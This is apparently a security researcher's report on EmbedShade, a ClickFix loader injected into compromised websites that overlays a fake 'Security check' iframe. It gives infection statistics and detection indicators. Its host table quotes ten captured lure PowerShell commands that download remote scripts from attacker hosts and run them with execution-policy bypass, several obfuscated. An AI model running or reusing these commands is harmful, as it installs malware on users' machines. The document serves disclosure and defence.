EmbedShade ClickFix kit

EmbedShade is a ClickFix loader that opens a full-screen security-check iframe from an external controller. We have matched it on 1,388 sites since 1 September.

Research by Kirk

EmbedShade in numbers

Since 1 September, the first EmbedShade match in our records, counted on 12 November 2026. How we count.

Sites with EmbedShade code	1,388
Sites with a match in the last 30 days	717
New sites in October	531
Still serving it when recaptured at least 25 days later	450 of 656 sites (69%)
Sites running WordPress (captured since 25 September)	84%

The fpEmbeds loader and its wrappers

EmbedShade is a loader built around __fpEmbeds. Scott Helme at Report URI documented the same full-screen iframe code in a compromised page.

The wrapper has changed across copies. Earlier samples stored a Base64 byte array, applied a one-byte XOR key and ran the decoded text with new Function. A newer production capture split the Base64 text across many short strings and called atob and Function directly. Both wrappers produce the same __fpEmbeds stage.

The frame takes over the page

The decoded stage waits for the document body, registers an embed ID in window.__fpEmbeds and adds two fixed-position elements: a dark backing layer and a white iframe titled Security check. Their z-index values place the frame above the original site.

The frame URL follows /embed/<id>?embed=1&host=<site>. EmbedShade tries the first configured controller and moves to the next after 12 seconds if the frame has not loaded. A controller response served a XorVeil panel. The visitor first saw a Cloudflare-style checkbox, then an image-selection challenge, a false verification failure and a manual Windows prompt. The framed page supplied the clipboard command.

EmbedShade listens for fp-embed-close. On receipt, it removes the frame and backing layer and clears the embed ID, revealing the original page again.

What we see

Month	New sites
September	810
October	531
November so far	47

The persistence check found EmbedShade again on 450 of 656 sites recaptured at least 25 days after their first match (69%). 84% of EmbedShade sites captured since 25 September run WordPress.

119 EmbedShade sites also carry PixelSplice, whose image-based loader executes another JavaScript stage on the page.

Checking the wrapper and decoded stage

Search raw HTML, first-party JavaScript and cached responses for:

__fpEmbeds and a per-frame embed ID
short Base64 fragments joined before atob and Function
a numeric byte array decoded with Base64, XOR and TextDecoder
an iframe titled Security check with a URL under /embed/
a 12-second controller fallback
the messages fp-embed-close and fp-embed-copy

Decode the wrapper before comparing copies. Controller addresses, embed IDs, variable names and the packing form change while the iframe stage stays recognizable.

Hosts its commands download from

EmbedShade lure commands we captured download from 12 hosts. These are the 10 on the most sites.

Host	Sites	Last seen	Latest command
`85[.]239[.]149[.]120`	12	6 October 2026	Command `$w=New-Object Net.WebClient;$w.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64) PowerShell/5.1');$f=$env:TEMP+'123.ps1';$w.DownloadFile('hxxp://85[.]239[.]149[.]120/zDLuGUBz1ACPaN3H',$f);& powershell -nop -ExecutionPolicy Bypass -File $f` URL `hxxp://85[.]239[.]149[.]120/zDLuGUBz1ACPaN3H` First seen 6 October 2026, 2 URLs on this host.
`bingixllc[.]com`	8	4 November 2026	Command `powershell -nop -c "$f=$env:TEMP+'\clakr.ps1';curl.exe -sk -o $f 'hxxps://bingixllc[.]com/58ipaB61LkhoZoi4';powershell -ep bypass -File $f"` URL `hxxps://bingixllc[.]com/58ipaB61LkhoZoi4` First seen 23 October 2026, 6 URLs on this host.
`astroznenekey[.]com`	7	25 September 2026	Command `$f=$env:TEMP+'\x.ps1';irm ('astroznenekey[.]com/'+'dRumgePjnWEuabeNP') -OutFile $f;$e=[Management.Automation.Language.Parser]::ParseFile($f,[ref]$null,[ref]$null);&($e.GetScriptBlock())` URL `hxxp://astroznenekey[.]com/` First seen 25 September 2026, 2 URLs on this host.
`spielportal[.]com`	7	9 September 2026	Command `$a=irm 'spielportal[.]com/cj5JpRGuScm5B9ok7';$o=[pscustomobject]@{v=1};$o\|Add-Member ScriptProperty p ([ScriptBlock]::Create($a));$o.p\|Out-Null` URL `hxxp://spielportal[.]com/cj5JpRGuScm5B9ok7` First seen 2 September 2026, 1 URL on this host.
`duranvebwiewllc[.]com`	5	6 October 2026	Command `[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri 'hxxps://duranvebwiewllc[.]com/It9HL8vPg8oU23WvF' -UseBasicParsing -OutFile $env:TEMP123.ps1;powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMP123.ps1` URL `hxxps://duranvebwiewllc[.]com/It9HL8vPg8oU23WvF` First seen 29 September 2026, 4 URLs on this host.
`dns-ssl[.]com`	4	3 October 2026	Command `[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri 'hxxps://dns-ssl[.]com/mgk9wvvm4RfVNWO2GN' -UseBasicParsing -OutFile $env:TEMP123.ps1;powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMP123.ps1` URL `hxxps://dns-ssl[.]com/mgk9wvvm4RfVNWO2GN` First seen 25 September 2026, 3 URLs on this host.
`nonprofitrole[.]com`	4	6 October 2026	Command `[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri 'hxxps://nonprofitrole[.]com/GMthlyLoTD7g5J4UnA' -UseBasicParsing -OutFile $env:TEMP123.ps1;powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMP123.ps1` URL `hxxps://nonprofitrole[.]com/GMthlyLoTD7g5J4UnA` First seen 29 September 2026, 4 URLs on this host.
`jasaxoptim[.]com`	3	6 September 2026	Command `$a=&(gcm Invoke-RestMethod) 'hxxp://jasaxoptim[.]com/PLzdo6sQyUSjV75AlL';&(gcm voke-Ex)($a)` URL `hxxp://jasaxoptim[.]com/PLzdo6sQyUSjV75AlL` First seen 6 September 2026, 1 URL on this host.
`freeviewstats[.]com`	2	21 October 2026	Command `iwr -Uri 'hxxps://freeviewstats[.]com/AC9plOxhIayQRojYd' -OutFile (Join-Path $env:APPDATA 'spai.ps1');` URL `hxxps://freeviewstats[.]com/AC9plOxhIayQRojYd` First seen 7 October 2026, 1 URL on this host.
`interactivsbroker[.]com`	2	25 September 2026	Command `$f=$env:TEMP+'x.ps1';irm ('interactivsbroker[.]com/'+'6SCGq3844GIbfKdgg') -OutFile $f;$e=[Management.Automation.Language.Parser]::ParseFile($f,[ref]$null,[ref]$null);&($e.GetScriptBlock())` URL `hxxp://interactivsbroker[.]com/` First seen 19 September 2026, 3 URLs on this host.

The ClickFix command tracker lists every host.